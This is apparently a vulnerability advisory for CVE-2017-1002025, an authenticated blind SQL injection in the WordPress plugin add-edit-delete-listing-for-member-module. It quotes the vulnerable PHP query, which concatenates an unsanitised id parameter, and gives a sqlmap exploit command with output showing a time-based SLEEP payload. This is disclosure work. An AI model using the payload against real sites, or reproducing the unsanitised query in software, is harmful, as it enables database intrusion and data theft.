| Title: Authenticated blind SQL injection in add-edit-delete-listing-for-member-module v1.0 |
| Author: Larry W. Cashdollar, @_larry0 |
| Date: 2017-06-21 |
| CVE IDs:[CVE-2017-1002025] |
| Download Site: https://wordpress.org/plugins/add-edit-delete-listing-for-member-module/ |
| Vendor: Romal Patel |
| Vendor Notified: 2017-07-05 |
| Vendor Contact: niraj.patel.it@gmail.com |
| Advisory: |
| Description: This plugin used for add edit delete and listing module at admin side. |
| Vulnerability: The plugin author does not sanitize user supplied input via $act before passing it into an SQL statement. This allows a user logged in as administrator to inject SQL statements into the query.
3- require_once("memberclass.php");
4- $objMem = new memberClass();
5-
6: $addme=$_POST["addme"];
7- global $wpdb;
.
.
22: $act=$_REQUEST["act"];
23- if($act=="upd")
24- {
25: $recid=$_REQUEST["id"];
26- $sSQL="select * from ".$table_name = $wpdb->prefix . "member where id=$recid";
27- $result = $wpdb->get_results($sSQL);
28- $result = $result[0];
29- if (sizeof($result) > 0 )
30- {
|
| Export: JSON TEXT XML |
| Exploit Code: $ sqlmap -u 'http://example.com/wp-admin/admin.php?page=member_add&act=upd&id=*' --load-cookies=./cookie.txt --level=2 --risk=2 --dbms=mysql
sqlmap identified the following injection point(s) with a total of 339 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://example.com:80/wp-admin/admin.php?page=member_add&act=upd&id=(CASE WHEN (1410=1410) THEN SLEEP(5) ELSE 1410 END)
---
[21:59:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[21:59:47] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
[*] shutting down at 21:59:47
|
| Screen Shots: |
| Notes: |